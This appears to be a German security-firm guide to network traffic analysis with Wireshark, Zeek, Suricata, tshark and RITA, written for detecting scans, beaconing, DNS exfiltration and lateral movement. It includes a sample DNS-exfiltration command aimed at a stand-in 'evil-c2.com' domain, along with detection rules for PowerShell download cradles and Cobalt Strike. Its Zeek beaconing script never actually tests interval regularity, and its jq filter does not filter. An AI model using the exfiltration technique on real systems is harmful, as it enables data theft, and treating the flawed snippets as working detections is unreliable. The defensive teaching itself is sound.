TL;DR
Netzwerk-Traffic-Analyse ist entscheidend, um Angriffe zu erkennen, die Endpunkt-Logs nicht erfassen. Dieser Guide stellt die wichtigsten Tools und Methoden vor, um Spuren wie Beaconing, DNS-Exfiltration oder NTLM-Relay im Netzwerkverkehr sichtbar zu machen. Wireshark ermöglicht die detaillierte Paket-Analyse mit Capture- und Display-Filtern, etwa um Port-Scans über viele TCP-SYN-Pakete zu identifizieren oder TLS-Verbindungen zu entschlüsseln. Zeek (ehemals Bro) bietet tiefgreifendes Logging und Scripting zur Erkennung von Verhaltensmustern, beispielsweise regelmäßiges Beaconing zu C2-Servern durch Analyse des Connection-Logs. Suricata dient als IDS/IPS mit regelbasierten Signaturen, um bekannte Bedrohungen wie Port-Scans aktiv zu detektieren.
Diese Zusammenfassung wurde KI-gestützt erstellt (EU AI Act Art. 50).
Inhaltsverzeichnis (5 Abschnitte)
Netzwerk-Traffic-Analyse ist eine Kernkompetenz des SOC-Analysten: Angriffe hinterlassen Spuren im Netzwerkverkehr die kein Endpoint-Log zeigt. Beaconing zu einem C2-Server, DNS-Tunneling, NTLM-Credential-Relay - all das ist im Netzwerk sichtbar wenn man weiß wo man sucht. Dieser Guide zeigt die wichtigsten Tools und Analysemethoden.
Wireshark - Paket-Analyse
Capture-Filter (effizient: nur relevante Pakete):
host 192.168.1.100 # Nur Traffic von/zu dieser IP
net 10.0.0.0/8 # Nur 10.x.x.x Netzwerk
port 443 # Nur HTTPS
not port 53 and not port 123 # Kein DNS, kein NTP (Rauschen reduzieren)
tcp[tcpflags] & tcp-syn != 0 # Nur SYN-Pakete (Port-Scan erkennen)
Display-Filter (nach Capture, flexibel):
http.request.method == "POST" # HTTP POST-Requests
http.response.code >= 400 # HTTP-Fehler
dns.qry.name contains "evil" # DNS-Anfragen mit "evil"
ip.addr == 10.0.0.1 && tcp.port == 445 # SMB-Traffic von einer IP
ssl.handshake.type == 1 # Client-Hello (TLS-Verbindungen)
frame.len > 1000 # Große Pakete (Exfiltration?)
tcp.flags.reset == 1 # TCP-Resets (Verbindungsabrüche)
icmp.type == 8 # ICMP Echo (Ping-Sweep)
TCP-Session folgen: Rechtsklick auf Paket - "Follow" - "TCP Stream" zeigt die vollständige Verbindung als Text: HTTP-Request/Response, FTP-Befehle, Cleartext-Credentials!
TLS-Entschlüsselung (mit Private Key): Wireshark - Edit - Preferences - Protocols - TLS - RSA Keys List - Add. IP, Port, Protocol, Key File angeben. ACHTUNG: Nur möglich wenn kein Perfect Forward Secrecy! Bei PFS (ECDHE) ist kein nachträgliches Entschlüsseln möglich.
Alternative: Pre-Master-Secret-Logfile:
export SSLKEYLOGFILE=/tmp/ssl.log # Browser-Umgebungsvariable setzen
# Wireshark -> TLS -> (Pre-)Master-Secret log filename: /tmp/ssl.log
Statistische Auswertung:
- Statistics - Conversations: welche IPs kommunizieren am meisten?
- Statistics - Protocol Hierarchy: Protokollverteilung
- Statistics - IO Graph: Traffic-Volumen über Zeit (Spike = Verdacht?)
- Statistics - Endpoints: alle aktiven IPs/Ports
Typische Angriffsmuster im Traffic
1. Port-Scanning (nmap)
Erkennungsmerkmale: Viele TCP-SYN-Pakete von einer IP zu vielen Ports, SYN ohne ACK-Antwort (SYN-Scan), reguläre Zeitintervalle (nmap-Default-Timing).
Wireshark-Filter:
ip.src == 10.0.0.50 && tcp.flags.syn == 1 && tcp.flags.ack == 0
# Zeigt alle SYN-Pakete ohne ACK -> SYN-Scan
Suricata-Rule:
alert tcp $EXTERNAL_NET any -> $HOME_NET any (
msg:"Possible Port Scan";
flags:S,12; threshold: type threshold, track by_src,
count 50, seconds 10;
sid:10001;
)
2. Beaconing (C2-Kommunikation)
Erkennungsmerkmale: Regelmäßige Verbindungen im festen Zeitintervall (z.B. alle 60 Sekunden), immer gleiche Payload-Größe (Heartbeat), Ziel ist unbekannte externe IP oder Domain.
Wireshark-Analyse: Statistics - IO Graph mit ip.dst == C2_IP zeigt regelmäßige Spikes. Konstantes Time-Delta zwischen Paketen = Beaconing.
Zeek-Detection:
# Beaconing mit Zeek Connection-Log (/opt/zeek/logs/current/conn.log):
cat conn.log | zeek-cut id.orig_h id.resp_h duration | sort | uniq -c | sort -rn | head -20
# Viele kurze Verbindungen zu gleicher IP -> Beaconing!
3. DNS-Exfiltration
Erkennungsmerkmale: Ungewöhnlich lange DNS-Anfragen (Subdomain = Daten!), hohe Frequenz von DNS-Anfragen zu einer Domain, unbekannte TLD oder frisch registrierte Domain.
Beispiel:
# Daten als Base64-Subdomain:
nslookup aGVsbG8gd29ybGQ=.evil-c2.com
# "aGVsbG8gd29ybGQ=" = "hello world" in Base64
Wireshark-Filter: dns && frame.len > 100 (ungewöhnlich große DNS-Pakete)
Zeek-Detection:
cat dns.log | zeek-cut query | awk '{print length, $0}' | sort -rn | head -20
4. NTLM-Relay / Credential Harvesting
Erkennungsmerkmale: SMB-Traffic von Workstation zu unbekanntem Host, NTLM-Authentication-Pakete (Security Blob im SMB), Responder-Aktivität (LLMNR/NBT-NS-Anfragen).
Wireshark-Filter:
ntlmssp # NTLM Security Service Provider Traffic - zeigt alle NTLM-Auth-Versuche
# SMB-Verbindungen von Workstations:
smb2 && ip.src == 192.168.1.0/24 && ip.dst != 10.0.0.1
5. Lateral Movement (SMB/WMI/RDP)
Erkennungsmerkmale: Workstation-zu-Workstation SMB-Traffic (ungewöhnlich!), WMI (Port 135 + dynamic ports), RDP (Port 3389) zu Servern.
Wireshark-Filter:
smb2 && ip.src == 192.168.1.100 && ip.dst != 10.0.0.5
# SMB von Workstation zu allem außer File-Server
Zeek (früher Bro)
Installation und Grundkonfiguration (Ubuntu):
apt install zeek
Konfiguration /opt/zeek/etc/node.cfg:
[zeek]
type=standalone
host=localhost
interface=eth0
zeekctl deploy
zeekctl status
Log-Dateien (in /opt/zeek/logs/current/):
| Log | Inhalt |
|---|---|
conn.log | alle Verbindungen (Source, Dest, Duration, Bytes) |
dns.log | DNS-Anfragen und -Antworten |
http.log | HTTP-Requests (URL, Method, User-Agent, Response) |
ssl.log | TLS-Verbindungen (JA3-Fingerprint, Zertifikat-Info) |
files.log | Übertragene Dateien (MD5-Hash!) |
weird.log | Protokoll-Anomalien |
notice.log | Zeek-generierte Alerts |
Zeek-Script für Beaconing-Detection (/opt/zeek/share/zeek/site/beacon-detect.zeek):
module BeaconDetect;
global connection_times: table[addr] of vector of time;
event connection_established(c: connection)
{
local src = c$id$orig_h;
if (src !in connection_times)
connection_times[src] = vector();
connection_times[src] += network_time();
if (|connection_times[src]| >= 10)
{
# Prüfe Regelmäßigkeit der Verbindungen:
local times = connection_times[src];
local intervals: vector of interval;
for (i in times)
if (i > 0)
intervals += times[i] - times[i-1];
# Wenn Standardabweichung der Intervalle < 5s -> Beaconing!
NOTICE([$note=Notice::Weird, $msg=fmt("Possible beaconing from %s", src)]);
}
}
JA3/JARM Fingerprinting:
# SSL-Log enthält JA3-Hash des Clients:
cat ssl.log | zeek-cut ja3 ja3s id.orig_h id.resp_h | head -20
# JA3: Client-TLS-Fingerprint (identifiziert Browser/Malware!)
# Bekannte Malware-JA3: ab4a5a42e2df4b3d54736f18de3a0ceb (Cobalt Strike)
# JARM: Server-TLS-Fingerprint (identifiziert Server-Software)
# Nützlich: C2-Server erkennen auch wenn IP wechselt
Suricata IDS/IPS
Regel-Syntax: action protocol src_ip src_port -> dst_ip dst_port (options)
Beispiel-Regeln:
# SQL-Injection in HTTP:
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (
msg:"SQL Injection Attempt";
content:"UNION SELECT";
http_uri;
nocase;
classtype:web-application-attack;
sid:20001; rev:1;
)
# PowerShell-Download via HTTP:
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"PowerShell IEX DownloadString";
content:"IEX"; http_client_body;
content:"DownloadString"; http_client_body;
classtype:trojan-activity;
sid:20002;
)
# Cobalt Strike Default Certificate:
alert tls any any -> any any (
msg:"Cobalt Strike Default Certificate";
tls.subject; content:"CN=Major Cobalt Strike";
classtype:trojan-activity;
sid:20003;
)
Emerging Threats Ruleset (kostenlos):
suricata-update update-sources
suricata-update enable-source et/open
suricata-update
systemctl restart suricata
Kategorien: ET SCAN (Scanning-Aktivitäten), ET MALWARE (bekannte Malware-Kommunikation), ET EXPLOIT (Exploit-Versuche), ET PHISHING (Phishing-Traffic).
Suricata-Logs analysieren:
# /var/log/suricata/fast.log Beispielausgabe:
# 03/04/2026-14:23:47.134567 [Alert] [1:20003:1] Cobalt Strike
# [Classification: A Network Trojan was Detected]
# {TCP} 192.168.1.50:55234 -> 185.220.101.33:443
# EVE-JSON für SIEM:
cat /var/log/suricata/eve.json | jq '.event_type == "alert"'
NetworkMiner für forensische Analyse
NetworkMiner (Windows, kostenlos) analysiert PCAP-Dateien (kein Live-Capture nötig), extrahiert automatisch Dateien, E-Mails und Credentials, hat eine einfachere GUI als Wireshark und zeigt im Hosts-Tab alle Hosts mit Betriebssystem-Fingerprint.
Credentials aus PCAP (Cleartext-Protokolle: HTTP, FTP, Telnet, SMTP, POP3, IMAP): NetworkMiner - Credentials-Tab zeigt Username, Passwort, Protokoll, Zeitstempel.
Datei-Extraktion: NetworkMiner - Files-Tab zeigt alle übertragenen Dateien (HTTP-Downloads, SMB-Transfers) mit MD5-Hash für VirusTotal-Lookup. Alternativ per Kommandozeile:
tshark -r capture.pcap --export-objects http,/tmp/extracted/
# Exportiert alle HTTP-übertragenen Objekte in Ordner
Tshark (Wireshark CLI) für Automatisierung:
# Alle DNS-Queries aus PCAP:
tshark -r capture.pcap -Y dns.flags.response==0 \
-T fields -e dns.qry.name | sort -u > dns-queries.txt
# Alle HTTP-User-Agents:
tshark -r capture.pcap -Y http.request \
-T fields -e http.user_agent | sort | uniq -c | sort -rn
# Verbindungen zu Port 445 (SMB):
tshark -r capture.pcap -Y "tcp.dstport == 445" \
-T fields -e ip.src -e ip.dst | sort | uniq -c
RITA - Real Intelligence Threat Analytics (analysiert Zeek-Logs auf Beaconing, Scanning, Long Connections):
git clone https://github.com/activecountermeasures/rita
docker-compose up -d
# Zeek-Logs importieren:
rita import /opt/zeek/logs/current/ threat-hunt
# Beaconing-Report:
rita show-beacons threat-hunt | head -20
# Score | Source | Destination | Connections | Avg Duration Nächster Schritt
Unsere zertifizierten Sicherheitsexperten beraten Sie zu den Themen aus diesem Artikel, unverbindlich und kostenlos.
Kostenlos · 30 Minuten · Unverbindlich